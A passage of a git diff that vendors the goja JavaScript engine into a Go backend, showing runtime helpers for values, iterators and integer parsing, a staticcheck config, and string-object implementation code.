runWrapped(f func()) (err error) { + defer func() { + if x := recover(); x != nil { + if ex := asUncatchableException(x); ex != nil { + err = ex + if len(r.vm.callStack) == 0 { + r.leaveAbrupt() + } + } else { + panic(x) + } + } + }() + ex := r.vm.try(f) + if ex != nil { + err = ex + } + if len(r.vm.callStack) == 0 { + r.leave() + } else { + r.vm.clearStack() + } + return +} + +// IsUndefined returns true if the supplied Value is undefined. Note, it checks against the real undefined, not +// against the global object's 'undefined' property. +func IsUndefined(v Value) bool { + return v == _undefined +} + +// IsNull returns true if the supplied Value is null. +func IsNull(v Value) bool { + return v == _null +} + +// IsNaN returns true if the supplied value is NaN. +func IsNaN(v Value) bool { + f, ok := v.(valueFloat) + return ok && math.IsNaN(float64(f)) +} + +// IsInfinity returns true if the supplied is (+/-)Infinity +func IsInfinity(v Value) bool { + return v == _positiveInf || v == _negativeInf +} + +func IsNumber(v Value) bool { + switch v.(type) { + case valueInt, valueFloat: + return true + default: + return false + } +} + +func IsBigInt(v Value) bool { + _, ok := v.(*valueBigInt) + return ok +} + +func IsString(v Value) bool { + _, ok := v.(String) + return ok +} + +// Undefined returns JS undefined value. Note if global 'undefined' property is changed this still returns the original value. +func Undefined() Value { + return _undefined +} + +// Null returns JS null value. +func Null() Value { + return _null +} + +// NaN returns a JS NaN value. +func NaN() Value { + return _NaN +} + +// PositiveInf returns a JS +Inf value. +func PositiveInf() Value { + return _positiveInf +} + +// NegativeInf returns a JS -Inf value. +func NegativeInf() Value { + return _negativeInf +} + +func tryFunc(f func()) (ret interface{}) { + defer func() { + ret = recover() + }() + + f() + return +} + +// Try runs a given function catching and returning any JS exception. Use this method to run any code +// that may throw exceptions (such as Object.Get, Object.String, Object.ToInteger, Object.Export, Runtime.Get, Runtime.InstanceOf, etc.) +// outside the Runtime execution context (i.e. when calling directly from Go, not from a JS function implemented in Go). +func (r *Runtime) Try(f func()) *Exception { + return r.vm.try(f) +} + +func (r *Runtime) try(f func()) error { + if ex := r.vm.try(f); ex != nil { + return ex + } + return nil +} + +func (r *Runtime) toObject(v Value, args ...interface{}) *Object { + if obj, ok := v.(*Object); ok { + return obj + } + if len(args) > 0 { + panic(r.NewTypeError(args...)) + } else { + var s string + if v == nil { + s = "undefined" + } else { + s = v.String() + } + panic(r.NewTypeError("Value is not an object: %s", s)) + } +} + +func (r *Runtime) speciesConstructor(o, defaultConstructor *Object) func(args []Value, newTarget *Object) *Object { + c := o.self.getStr("constructor", nil) + if c != nil && c != _undefined { + c = r.toObject(c).self.getSym(SymSpecies, nil) + } + if c == nil || c == _undefined || c == _null { + c = defaultConstructor + } + return r.toConstructor(c) +} + +func (r *Runtime) speciesConstructorObj(o, defaultConstructor *Object) *Object { + c := o.self.getStr("constructor", nil) + if c != nil && c != _undefined { + c = r.toObject(c).self.getSym(SymSpecies, nil) + } + if c == nil || c == _undefined || c == _null { + return defaultConstructor + } + obj := r.toObject(c) + if obj.self.assertConstructor() == nil { + panic(r.NewTypeError("Value is not a constructor")) + } + return obj +} + +func (r *Runtime) returnThis(call FunctionCall) Value { + return call.This +} + +func createDataProperty(o *Object, p Value, v Value) { + o.defineOwnProperty(p, PropertyDescriptor{ + Writable: FLAG_TRUE, + Enumerable: FLAG_TRUE, + Configurable: FLAG_TRUE, + Value: v, + }, false) +} + +func createDataPropertyOrThrow(o *Object, p Value, v Value) { + o.defineOwnProperty(p, PropertyDescriptor{ + Writable: FLAG_TRUE, + Enumerable: FLAG_TRUE, + Configurable: FLAG_TRUE, + Value: v, + }, true) +} + +func toPropertyKey(key Value) Value { + return key.ToString() +} + +func (r *Runtime) getVStr(v Value, p unistring.String) Value { + o := v.ToObject(r) + return o.self.getStr(p, v) +} + +func (r *Runtime) getV(v Value, p Value) Value { + o := v.ToObject(r) + return o.get(p, v) +} + +type iteratorRecord struct { + iterator *Object + next func(FunctionCall) Value +} + +func (r *Runtime) getIterator(obj Value, method func(FunctionCall) Value) *iteratorRecord { + if method == nil { + method = toMethod(r.getV(obj, SymIterator)) + if method == nil { + panic(r.NewTypeError("object is not iterable")) + } + } + + iter := r.toObject(method(FunctionCall{ + This: obj, + })) + + var next func(FunctionCall) Value + + if obj, ok := iter.self.getStr("next", nil).(*Object); ok { + if call, ok := obj.self.assertCallable(); ok { + next = call + } + } + + return &iteratorRecord{ + iterator: iter, + next: next, + } +} + +func iteratorComplete(iterResult *Object) bool { + return nilSafe(iterResult.self.getStr("done", nil)).ToBoolean() +} + +func iteratorValue(iterResult *Object) Value { + return nilSafe(iterResult.self.getStr("value", nil)) +} + +func (ir *iteratorRecord) iterate(step func(Value)) { + r := ir.iterator.runtime + for { + if ir.next == nil { + panic(r.NewTypeError("iterator.next is missing or not a function")) + } + res := r.toObject(ir.next(FunctionCall{This: ir.iterator})) + if iteratorComplete(res) { + break + } + value := iteratorValue(res) + ret := tryFunc(func() { + step(value) + }) + if ret != nil { + _ = tryFunc(func() { + ir.returnIter() + }) + panic(ret) + } + } +} + +func (ir *iteratorRecord) step() (value Value, ex *Exception) { + r := ir.iterator.runtime + ex = r.vm.try(func() { + res := r.toObject(ir.next(FunctionCall{This: ir.iterator})) + done := iteratorComplete(res) + if !done { + value = iteratorValue(res) + } else { + ir.close() + } + }) + return +} + +func (ir *iteratorRecord) returnIter() { + if ir.iterator == nil { + return + } + retMethod := toMethod(ir.iterator.self.getStr("return", nil)) + if retMethod != nil { + ir.iterator.runtime.toObject(retMethod(FunctionCall{This: ir.iterator})) + } + ir.iterator = nil + ir.next = nil +} + +func (ir *iteratorRecord) close() { + ir.iterator = nil + ir.next = nil +} + +// ForOf is a Go equivalent of for-of loop. The function panics if an exception is thrown at any point +// while iterating, including if the supplied value is not iterable +// (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#the_iterable_protocol). +// When using outside of Runtime.Run (i.e. when calling directly from Go code, not from a JS function implemented +// in Go) it must be enclosed in Try. See the example. +func (r *Runtime) ForOf(iterable Value, step func(curValue Value) (continueIteration bool)) { + iter := r.getIterator(iterable, nil) + for { + value, ex := iter.step() + if ex != nil { + panic(ex) + } + if value != nil { + var continueIteration bool + ex := r.vm.try(func() { + continueIteration = step(value) + }) + if ex != nil { + iter.returnIter() + panic(ex) + } + if !continueIteration { + iter.returnIter() + break + } + } else { + break + } + } +} + +func (r *Runtime) createIterResultObject(value Value, done bool) Value { + o := r.NewObject() + o.self.setOwnStr("value", value, false) + o.self.setOwnStr("done", r.toBoolean(done), false) + return o +} + +func (r *Runtime) getHash() *maphash.Hash { + if r.hash == nil { + r.hash = &maphash.Hash{} + } + return r.hash +} + +// called when the top level function returns normally (i.e. control is passed outside the Runtime). +func (r *Runtime) leave() { + var jobs []func() + for len(r.jobQueue) > 0 { + jobs, r.jobQueue = r.jobQueue, jobs[:0] + for _, job := range jobs { + job() + } + } + r.jobQueue = nil + r.vm.stack = nil +} + +// called when the top level function returns (i.e. control is passed outside the Runtime) but it was due to an interrupt +func (r *Runtime) leaveAbrupt() { + r.jobQueue = nil + r.ClearInterrupt() +} + +func nilSafe(v Value) Value { + if v != nil { + return v + } + return _undefined +} + +func isArray(object *Object) bool { + self := object.self + if proxy, ok := self.(*proxyObject); ok { + if proxy.target == nil { + panic(typeError("Cannot perform 'IsArray' on a proxy that has been revoked")) + } + return isArray(proxy.target) + } + switch self.className() { + case classArray: + return true + default: + return false + } +} + +func isRegexp(v Value) bool { + if o, ok := v.(*Object); ok { + matcher := o.self.getSym(SymMatch, nil) + if matcher != nil && matcher != _undefined { + return matcher.ToBoolean() + } + _, reg := o.self.(*regexpObject) + return reg + } + return false +} + +func limitCallArgs(call FunctionCall, n int) FunctionCall { + if len(call.Arguments) > n { + return FunctionCall{This: call.This, Arguments: call.Arguments[:n]} + } else { + return call + } +} + +func shrinkCap(newSize, oldCap int) int { + if oldCap > 8 { + if cap := oldCap / 2; cap >= newSize { + return cap + } + } + return oldCap +} + +func growCap(newSize, oldSize, oldCap int) int { + // Use the same algorithm as in runtime.growSlice + doublecap := oldCap + oldCap + if newSize > doublecap { + return newSize + } else { + if oldSize < 1024 { + return doublecap + } else { + cap := oldCap + // Check 0 < cap to detect overflow + // and prevent an infinite loop. + for 0 < cap && cap < newSize { + cap += cap / 4 + } + // Return the requested cap when + // the calculation overflowed. + if cap <= 0 { + return newSize + } + return cap + } + } +} + +func (r *Runtime) genId() (ret uint64) { + if r.hash == nil { + h := r.getHash() + r.idSeq = h.Sum64() + } + if r.idSeq == 0 { + r.idSeq = 1 + } + ret = r.idSeq + r.idSeq++ + return +} + +func (r *Runtime) setGlobal(name unistring.String, v Value, strict bool) { + if ref := r.global.stash.getRefByName(name, strict); ref != nil { + ref.set(v) + } else { + o := r.globalObject.self + if strict { + if o.hasOwnPropertyStr(name) { + o.setOwnStr(name, v, true) + } else { + r.throwReferenceError(name) + } + } else { + o.setOwnStr(name, v, false) + } + } +} + +func (r *Runtime) trackPromiseRejection(p *Promise, operation PromiseRejectionOperation) { + if r.promiseRejectionTracker != nil { + r.promiseRejectionTracker(p, operation) + } +} + +func (r *Runtime) callJobCallback(job *jobCallback, this Value, args ...Value) Value { + return job.callback(FunctionCall{This: this, Arguments: args}) +} + +func (r *Runtime) invoke(v Value, p unistring.String, args ...Value) Value { + o := v.ToObject(r) + return r.toCallable(o.self.getStr(p, nil))(FunctionCall{This: v, Arguments: args}) +} + +func (r *Runtime) iterableToList(iterable Value, method func(FunctionCall) Value) []Value { + iter := r.getIterator(iterable, method) + var values []Value + iter.iterate(func(item Value) { + values = append(values, item) + }) + return values +} + +func (r *Runtime) putSpeciesReturnThis(o objectImpl) { + o._putSym(SymSpecies, &valueProperty{ + getterFunc: r.newNativeFunc(r.returnThis, "get [Symbol.species]", 0), + accessor: true, + configurable: true, + }) +} + +func strToArrayIdx(s unistring.String) uint32 { + if s == "" { + return math.MaxUint32 + } + l := len(s) + if s[0] == '0' { + if l == 1 { + return 0 + } + return math.MaxUint32 + } + var n uint32 + if l < 10 { + // guaranteed not to overflow + for i := 0; i < len(s); i++ { + c := s[i] + if c < '0' || c > '9' { + return math.MaxUint32 + } + n = n*10 + uint32(c-'0') + } + return n + } + if l > 10 { + // guaranteed to overflow + return math.MaxUint32 + } + c9 := s[9] + if c9 < '0' || c9 > '9' { + return math.MaxUint32 + } + for i := 0; i < 9; i++ { + c := s[i] + if c < '0' || c > '9' { + return math.MaxUint32 + } + n = n*10 + uint32(c-'0') + } + if n >= math.MaxUint32/10+1 { + return math.MaxUint32 + } + n *= 10 + n1 := n + uint32(c9-'0') + if n1 < n { + return math.MaxUint32 + } + + return n1 +} + +func strToInt32(s unistring.String) (int32, bool) { + if s == "" { + return -1, false + } + neg := s[0] == '-' + if neg { + s = s[1:] + } + l := len(s) + if s[0] == '0' { + if l == 1 { + return 0, !neg + } + return -1, false + } + var n uint32 + if l < 10 { + // guaranteed not to overflow + for i := 0; i < len(s); i++ { + c := s[i] + if c < '0' || c > '9' { + return -1, false + } + n = n*10 + uint32(c-'0') + } + } else if l > 10 { + // guaranteed to overflow + return -1, false + } else { + c9 := s[9] + if c9 >= '0' { + if !neg && c9 > '7' || c9 > '8' { + // guaranteed to overflow + return -1, false + } + for i := 0; i < 9; i++ { + c := s[i] + if c < '0' || c > '9' { + return -1, false + } + n = n*10 + uint32(c-'0') + } + if n >= math.MaxInt32/10+1 { + // valid number, but it overflows integer + return 0, false + } + n = n*10 + uint32(c9-'0') + } else { + return -1, false + } + } + if neg { + return int32(-n), true + } + return int32(n), true +} + +func strToInt64(s unistring.String) (int64, bool) { + if s == "" { + return -1, false + } + neg := s[0] == '-' + if neg { + s = s[1:] + } + l := len(s) + if s[0] == '0' { + if l == 1 { + return 0, !neg + } + return -1, false + } + var n uint64 + if l < 19 { + // guaranteed not to overflow + for i := 0; i < len(s); i++ { + c := s[i] + if c < '0' || c > '9' { + return -1, false + } + n = n*10 + uint64(c-'0') + } + } else if l > 19 { + // guaranteed to overflow + return -1, false + } else { + c18 := s[18] + if c18 >= '0' { + if !neg && c18 > '7' || c18 > '8' { + // guaranteed to overflow + return -1, false + } + for i := 0; i < 18; i++ { + c := s[i] + if c < '0' || c > '9' { + return -1, false + } + n = n*10 + uint64(c-'0') + } + if n >= math.MaxInt64/10+1 { + // valid number, but it overflows integer + return 0, false + } + n = n*10 + uint64(c18-'0') + } else { + return -1, false + } + } + if neg { + return int64(-n), true + } + return int64(n), true +} + +func strToInt(s unistring.String) (int, bool) { + if bits.UintSize == 32 { + n, ok := strToInt32(s) + return int(n), ok + } + n, ok := strToInt64(s) + return int(n), ok +} + +// Attempts to convert a string into a canonical integer. +// On success returns (number, true). +// If it was a canonical number, but not an integer returns (0, false). This includes -0 and overflows. +// In all other cases returns (-1, false). +// See https://262.ecma-international.org/#sec-canonicalnumericindexstring +func strToIntNum(s unistring.String) (int, bool) { + n, ok := strToInt64(s) + if n == 0 { + return 0, ok + } + if ok && n >= -maxInt && n <= maxInt { + if bits.UintSize == 32 { + if n > math.MaxInt32 || n < math.MinInt32 { + return 0, false + } + } + return int(n), true + } + str := stringValueFromRaw(s) + if str.ToNumber().toString().SameAs(str) { + return 0, false + } + return -1, false +} + +func strToGoIdx(s unistring.String) int { + if n, ok := strToInt(s); ok { + return n + } + return -1 +} + +func strToIdx64(s unistring.String) int64 { + if n, ok := strToInt64(s); ok { + return n + } + return -1 +} + +func assertCallable(v Value) (func(FunctionCall) Value, bool) { + if obj, ok := v.(*Object); ok { + return obj.self.assertCallable() + } + return nil, false +} + +// InstanceOf is an equivalent of "left instanceof right". +// This method will panic with an *Exception if a JavaScript exception is thrown in the process. Use Runtime.Try to catch these. +func (r *Runtime) InstanceOf(left Value, right *Object) (res bool) { + return instanceOfOperator(left, right) +} + +func (r *Runtime) methodProp(f func(FunctionCall) Value, name unistring.String, nArgs int) Value { + return valueProp(r.newNativeFunc(f, name, nArgs), true, false, true) +} + +func (r *Runtime) getPrototypeFromCtor(newTarget, defCtor, defProto *Object) *Object { + if newTarget == defCtor { + return defProto + } + proto := newTarget.self.getStr("prototype", nil) + if obj, ok := proto.(*Object); ok { + return obj + } + return defProto +} diff --git a/backend/vendor/github.com/dop251/goja/staticcheck.conf b/backend/vendor/github.com/dop251/goja/staticcheck.conf new file mode 100644 index 0000000..2441b9d --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/staticcheck.conf @@ -0,0 +1 @@ +checks = ["all", "-ST1000", "-ST1003", "-ST1005", "-ST1006", "-ST1012", "-ST1021", "-ST1020", "-ST1008"] diff --git a/backend/vendor/github.com/dop251/goja/string.go b/backend/vendor/github.com/dop251/goja/string.go new file mode 100644 index 0000000..0eaf3ef --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/string.go @@ -0,0 +1,364 @@ +package goja + +import ( + "io" + "strconv" + "strings" + "unicode/utf8" + + "github.com/dop251/goja/unistring" +) + +const ( + __proto__ = "__proto__" +) + +var ( + stringTrue String = asciiString("true") + stringFalse String = asciiString("false") + stringNull String = asciiString("null") + stringUndefined String = asciiString("undefined") + stringObjectC String = asciiString("object") + stringFunction String = asciiString("function") + stringBoolean String = asciiString("boolean") + stringString String = asciiString("string") + stringSymbol String = asciiString("symbol") + stringNumber String = asciiString("number") + stringBigInt String = asciiString("bigint") + stringNaN String = asciiString("NaN") + stringInfinity = asciiString("Infinity") + stringNegInfinity = asciiString("-Infinity") + stringBound_ String = asciiString("bound ") + stringEmpty String = asciiString("") + + stringError String = asciiString("Error") + stringAggregateError String = asciiString("AggregateError") + stringTypeError String = asciiString("TypeError") + stringReferenceError String = asciiString("ReferenceError") + stringSyntaxError String = asciiString("SyntaxError") + stringRangeError String = asciiString("RangeError") + stringEvalError String = asciiString("EvalError") + stringURIError String = asciiString("URIError") + stringGoError String = asciiString("GoError") + + stringObjectNull String = asciiString("[object Null]") + stringObjectUndefined String = asciiString("[object Undefined]") + stringInvalidDate String = asciiString("Invalid Date") +) + +type utf16Reader interface { + readChar() (c uint16, err error) +} + +// String represents an ECMAScript string Value. Its internal representation depends on the contents of the +// string, but in any case it is capable of holding any UTF-16 string, either valid or invalid. +// Instances of this type, as any other primitive values, are goroutine-safe and can be passed between runtimes. +// Strings can be created using Runtime.ToValue(goString) or StringFromUTF16. +type String interface { + Value + CharAt(int) uint16 + Length() int + Concat(String) String + Substring(start, end int) String + CompareTo(String) int + Reader() io.RuneReader + utf16Reader() utf16Reader + utf16RuneReader() io.RuneReader + utf16Runes() []rune + index(String, int) int + lastIndex(String, int) int + toLower() String + toUpper() String + toTrimmedUTF8() string +} + +type stringIterObject struct { + baseObject + reader io.RuneReader +} + +func isUTF16FirstSurrogate(c uint16) bool { + return c >= 0xD800 && c <= 0xDBFF +} + +func isUTF16SecondSurrogate(c uint16) bool { + return c >= 0xDC00 && c <= 0xDFFF +} + +func (si *stringIterObject) next() Value { + if si.reader == nil { + return si.val.runtime.createIterResultObject(_undefined, true) + } + r, _, err := si.reader.ReadRune() + if err == io.EOF { + si.reader = nil + return si.val.runtime.createIterResultObject(_undefined, true) + } + return si.val.runtime.createIterResultObject(stringFromRune(r), false) +} + +func stringFromRune(r rune) String { + if r < utf8.RuneSelf { + var sb strings.Builder + sb.WriteByte(byte(r)) + return asciiString(sb.String()) + } + var sb unicodeStringBuilder + sb.WriteRune(r) + return sb.String() +} + +func (r *Runtime) createStringIterator(s String) Value { + o := &Object{runtime: r} + + si := &stringIterObject{ + reader: &lenientUtf16Decoder{utf16Reader: s.utf16Reader()}, + } + si.class = classObject + si.val = o + si.extensible = true + o.self = si + si.prototype = r.getStringIteratorPrototype() + si.init() + + return o +} + +type stringObject struct { + baseObject + value String + length int + lengthProp valueProperty +} + +func newStringValue(s string) String { + if u := unistring.Scan(s); u != nil { + return unicodeString(u) + } + return asciiString(s) +} + +func stringValueFromRaw(raw unistring.String) String { + if b := raw.AsUtf16(); b != nil { + return unicodeString(b) + } + return asciiString(raw) +} + +func (s *stringObject) init() { + s.baseObject.init() + s.setLength() +} + +func (s *stringObject) setLength() { + if s.value != nil { + s.length = s.value.Length() + } + s.lengthProp.value = intToValue(int64(s.length)) + s._put("length", &s.lengthProp) +} + +func (s *stringObject) getStr(name unistring.String, receiver Value) Value { + if i := strToGoIdx(name); i >= 0 && i < s.length { + return s._getIdx(i) + } + return s.baseObject.getStr(name, receiver) +} + +func (s *stringObject) getIdx(idx valueInt, receiver Value) Value { + i := int(idx) + if i >= 0 && i < s.length { + return s._getIdx(i) + } + return s.baseObject.getStr(idx.string(), receiver) +} + +func (s *stringObject) getOwnPropStr(name unistring.String) Value { + if i := strToGoIdx(name); i >= 0 && i < s.length { + val := s._getIdx(i) + return &valueProperty{ + value: val, + enumerable: true, + } + } + + return s.baseObject.getOwnPropStr(name) +} + +func (s *stringObject) getOwnPropIdx(idx valueInt) Value { + i := int64(idx) + if i >= 0 { + if i < int64(s.length) { + val := s._getIdx(int(i)) + return &valueProperty{ + value: val, + enumerable: true, + } + } + return nil + } + + return s.baseObject.getOwnPropStr(idx.string()) +} + +func (s *stringObject) _getIdx(idx int) Value { + return s.value.Substring(idx, idx+1) +} + +func (s *stringObject) setOwnStr(name unistring.String, val Value, throw bool) bool { + if i := strToGoIdx(name); i >= 0 && i < s.length { + s.val.runtime.typeErrorResult(throw, "Cannot assign to read only property '%d' of a String", i) + return false + } + + return s.baseObject.setOwnStr(name, val, throw) +} + +func (s *stringObject) setOwnIdx(idx valueInt, val Value, throw bool) bool { + i := int64(idx) + if i >= 0 && i < int64(s.length) { + s.val.runtime.typeErrorResult(throw, "Cannot assign to read only property '%d' of a String", i) + return false + } + + return s.baseObject.setOwnStr(idx.string(), val, throw) +} + +func (s *stringObject) setForeignStr(name unistring.String, val, receiver Value, throw bool) (bool, bool) { + return s._setForeignStr(name, s.getOwnPropStr(name), val, receiver, throw) +} + +func (s *stringObject) setForeignIdx(idx valueInt, val, receiver Value, throw bool) (bool, bool) { + return s._setForeignIdx(idx, s.getOwnPropIdx(idx), val, receiver, throw) +} + +func (s *stringObject) defineOwnPropertyStr(name unistring.String, descr PropertyDescriptor, throw bool) bool { + if i := strToGoIdx(name); i >= 0 && i < s.length { + _, ok := s._defineOwnProperty(name, &valueProperty{enumerable: true}, descr, throw) + return ok + } + + return s.baseObject.defineOwnPropertyStr(name, descr, throw) +} + +func (s *stringObject) defineOwnPropertyIdx(idx valueInt, descr PropertyDescriptor, throw bool) bool { + i := int64(idx) + if i >= 0 && i < int64(s.length) { + s.val.runtime.typeErrorResult(throw, "Cannot redefine property: %d", i) + return false + } + + return s.baseObject.defineOwnPropertyStr(idx.string(), descr, throw) +} + +type stringPropIter struct { + str String // separate, because obj can be the singleton + obj *stringObject + idx, length int +} + +func (i *stringPropIter) next() (propIterItem, iterNextFunc) { + if i.idx < i.length { + name := strconv.Itoa(i.idx) + i.idx++ + return propIterItem{name: asciiString(name), enumerable: _ENUM_TRUE}, i.next + } + + return i.obj.baseObject.iterateStringKeys()() +} + +func (s *stringObject) iterateStringKeys() iterNextFunc { + return (&stringPropIter{ + str: s.value, + obj: s, + length: s.length, + }).next +} + +func (s *stringObject) stringKeys(all bool, accum []Value) []Value { + for i := 0; i < s.length; i++ { + accum = append(accum, asciiString(strconv.Itoa(i))) + } + + return s.baseObject.stringKeys(all, accum) +} + +func (s *stringObject) deleteStr(name unistring.String, throw bool) bool { + if i := strToGoIdx(name); i >= 0 && i < s.length { + s.val.runtime.typeErrorResult(throw, "Cannot delete property '%d' of a String", i) + return false + } + + return s.baseObject.deleteStr(name, throw) +} + +func (s *stringObject) deleteIdx(idx valueInt, throw bool) bool { + i := int64(idx) + if i >= 0 && i < int64(s.length) { + s.val.runtime.typeErrorResult(throw, "Cannot delete property '%d' of a String", i) + return false + } + + return s.baseObject.deleteStr(idx.string(), throw) +} + +func (s *stringObject) hasOwnPropertyStr(name unistring.String) bool { + if i := strToGoIdx(name); i >= 0 && i < s.length { + return true + } + return s.baseObject.hasOwnPropertyStr(name) +} + +func (s *stringObject) hasOwnPropertyIdx(idx valueInt) bool { + i := int64(idx) + if i >= 0 && i < int64(s.length) { + return true + } + return s.baseObject.hasOwnPropertyStr(idx.string()) +} + +func devirtualizeString(s String) (asciiString, unicodeString) { + switch s := s.(type) { + case asciiString: + return s, nil + case unicodeString: + return "", s + case *importedString: + s.ensureScanned() + if s.u != nil { + return "", s.u + } + return asciiString(s.s), nil + default: + panic(unknownStringTypeErr(s)) + } +} + +func unknownStringTypeErr(v Value) interface{} { + return newTypeError("Internal bug: unknown string type: %T", v) +} + +// StringFromUTF16 creates a string value from an array of UTF-16 code units. The result is a copy, so the initial +// slice can be modified after calling this function (but it must not be modified while the function is running). +// No validation of any kind is performed. +func StringFromUTF16(chars []uint16) String { + isAscii := true + for _, c := range chars { + if c >= utf8.RuneSelf { + isAscii = false + break + } + } + if isAscii { + var sb strings.Builder + sb.Grow(len(chars)) + for _, c := range chars { + sb.WriteByte(byte(c)) + } + return asciiString(sb.String()) + } + buf := make([]uint16, len(chars)+1) + buf[0] = unistring.BOM + copy(buf[1:], chars) + return unicodeString(buf) +} diff --git a/backend/vendor/github.com/dop251/goja/string_ascii.go b/backend/vendor/github.com/dop251/goja/string_ascii.go new file mode 100644 index 0000000..6b13784 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/string_ascii.go @@ -0,0 +1,401 @@ +package goja + +import ( + "hash/maphash" + "io" + "math" + "math/big" + "reflect" + "strconv" + "strings" + + "github.com/dop251/goja/unistring" +) + +type asciiString string + +type asciiRuneReader struct { + s asciiString + pos int +} + +func (rr *asciiRuneReader) ReadRune() (r rune, size int, err error) { + if rr.pos < len(rr.s) { + r = rune(rr.s[rr.pos]) + size = 1 + rr.pos++ + } else { + err = io.EOF + } + return +} + +type asciiUtf16Reader struct { + s asciiString + pos int +} + +func (rr *asciiUtf16Reader) readChar() (c uint16, err error) { + if rr.pos < len(rr.s) { + c = uint16(rr.s[rr.pos]) + rr.pos++ + } else { + err = io.EOF + } + return +} + +func (rr *asciiUtf16Reader) ReadRune() (r rune, size int, err error) { + if rr.pos < len(rr.s) { + r = rune(rr.s[rr.pos]) + rr.pos++ + size = 1 + } else { + err = io.EOF + } + return +} + +func (s asciiString) Reader() io.RuneReader { + return &asciiRuneReader{ + s: s, + } +} + +func (s asciiString) utf16Reader() utf16Reader { + return &asciiUtf16Reader{ + s: s, + } +} + +func (s asciiString) utf16RuneReader() io.RuneReader { + return &asciiUtf16Reader{ + s: s, + } +} + +func (s asciiString) utf16Runes() []rune { + runes := make([]rune, len(s)) + for i := 0; i < len(s); i++ { + runes[i] = rune(s[i]) + } + return runes +} + +// ss must be trimmed +func stringToInt(ss string) (int64, error) { + if ss == "" { + return 0, nil + } + if ss == "-0" { + return 0, strconv.ErrSyntax + } + if len(ss) > 2 { + switch ss[:2] { + case "0x", "0X": + return strconv.ParseInt(ss[2:], 16, 64) + case "0b", "0B": + return strconv.ParseInt(ss[2:], 2, 64) + case "0o", "0O": + return strconv.ParseInt(ss[2:], 8, 64) + } + } + return strconv.ParseInt(ss, 10, 64) +} + +func (s asciiString) _toInt(trimmed string) (int64, error) { + return stringToInt(trimmed) +} + +func isRangeErr(err error) bool { + if err, ok := err.(*strconv.NumError); ok { + return err.Err == strconv.ErrRange + } + return false +} + +func (s asciiString) _toFloat(trimmed string) (float64, error) { + if trimmed == "" { + return 0, nil + } + if trimmed == "-0" { + var f float64 + return -f, nil + } + + // Go allows underscores in numbers, when parsed as floats, but ECMAScript expect them to be interpreted as NaN. + if strings.ContainsRune(trimmed, '_') { + return 0, strconv.ErrSyntax + } + + // Hexadecimal floats are not supported by ECMAScript. + if len(trimmed) >= 2 { + var prefix string + if trimmed[0] == '-' || trimmed[0] == '+' { + prefix = trimmed[1:] + } else { + prefix = trimmed + } + if len(prefix) >= 2 && prefix[0] == '0' && (prefix[1] == 'x' || prefix[1] == 'X') { + return 0, strconv.ErrSyntax + } + } + + f, err := strconv.ParseFloat(trimmed, 64) + if err == nil && math.IsInf(f, 0) { + ss := strings.ToLower(trimmed) + if strings.HasPrefix(ss, "inf") || strings.HasPrefix(ss, "-inf") || strings.HasPrefix(ss, "+inf") { + // We handle "Infinity" separately, prevent from being parsed as Infinity due to strconv.ParseFloat() permissive syntax + return 0, strconv.ErrSyntax + } + } + if isRangeErr(err) { + err = nil + } + return f, err +} + +func (s asciiString) ToInteger() int64 { + ss := strings.TrimSpace(string(s)) + if ss == "" { + return 0 + } + if ss == "Infinity" || ss == "+Infinity" { + return math.MaxInt64 + } + if ss == "-Infinity" { + return math.MinInt64 + } + i, err := s._toInt(ss) + if err != nil { + f, err := s._toFloat(ss) + if err == nil { + return int64(f) + } + } + return i +} + +func (s asciiString) toString() String { + return s +} + +func (s asciiString) ToString() Value { + return s +} + +func (s asciiString) String() string { + return string(s) +} + +func (s asciiString) ToFloat() float64 { + ss := strings.TrimSpace(string(s)) + if ss == "" { + return 0 + } + if ss == "Infinity" || ss == "+Infinity" { + return math.Inf(1) + } + if ss == "-Infinity" { + return math.Inf(-1) + } + f, err := s._toFloat(ss) + if err != nil { + i, err := s._toInt(ss) + if err == nil { + return float64(i) + } + f = math.NaN() + } + return f +} + +func (s asciiString) ToBoolean() bool { + return s != "" +} + +func (s asciiString) ToNumber() Value { + ss := strings.TrimSpace(string(s)) + if ss == "" { + return intToValue(0) + } + if ss == "Infinity" || ss == "+Infinity" { + return _positiveInf + } + if ss == "-Infinity" { + return _negativeInf + } + + if i, err := s._toInt(ss); err == nil { + return intToValue(i) + } + + if f, err := s._toFloat(ss); err == nil { + return floatToValue(f) + } + + return _NaN +} + +func (s asciiString) ToObject(r *Runtime) *Object { + return r._newString(s, r.getStringPrototype()) +} + +func (s asciiString) SameAs(other Value) bool { + return s.StrictEquals(other) +} + +func (s asciiString) Equals(other Value) bool { + if s.StrictEquals(other) { + return true + } + + if o, ok := other.(valueInt); ok { + if o1, e := s._toInt(strings.TrimSpace(string(s))); e == nil { + return o1 == int64(o) + } + return false + } + + if o, ok := other.(valueFloat); ok { + return s.ToFloat() == float64(o) + } + + if o, ok := other.(valueBool); ok { + if o1, e := s._toFloat(strings.TrimSpace(string(s))); e == nil { + return o1 == o.ToFloat() + } + return false + } + + if o, ok := other.(*valueBigInt); ok { + bigInt, err := stringToBigInt(s.toTrimmedUTF8()) + if err != nil { + return false + } + return bigInt.Cmp((*big.Int)(o)) == 0 + } + + if o, ok := other.(*Object); ok { + return s.Equals(o.toPrimitive()) + } + return false +} + +func (s asciiString) StrictEquals(other Value) bool { + if otherStr, ok := other.(asciiString); ok { + return s == otherStr + } + if otherStr, ok := other.(*importedString); ok { + if otherStr.u == nil { + return string(s) == otherStr.s + } + } + return false +} + +func (s asciiString) baseObject(r *Runtime) *Object { + ss := r.getStringSingleton() + ss.value = s + ss.setLength() + return ss.val +} + +func (s asciiString) hash(hash *maphash.Hash) uint64 { + _, _ = hash.WriteString(string(s)) + h := hash.Sum64() + hash.Reset() + return h +} + +func (s asciiString) CharAt(idx int) uint16 { + return uint16(s[idx]) +} + +func (s asciiString) Length() int { + return len(s) +} + +func (s asciiString) Concat(other String) String { + a, u := devirtualizeString(other) + if u != nil { + b := make([]uint16, len(s)+len(u)) + b[0] = unistring.BOM + for i := 0; i < len(s); i++ { + b[i+1] = uint16(s[i]) + } + copy(b[len(s)+1:], u[1:]) + return unicodeString(b) + } + return s + a +} + +func (s asciiString) Substring(start, end int) String { + return s[start:end] +} + +func (s asciiString) CompareTo(other String) int { + switch other := other.(type) { + case asciiString: + return strings.Compare(string(s), string(other)) + case unicodeString: + return strings.Compare(string(s), other.String()) + case *importedString: + return strings.Compare(string(s), other.s) + default: + panic(newTypeError("Internal bug: unknown string type: %T", other)) + } +} + +func (s asciiString) index(substr 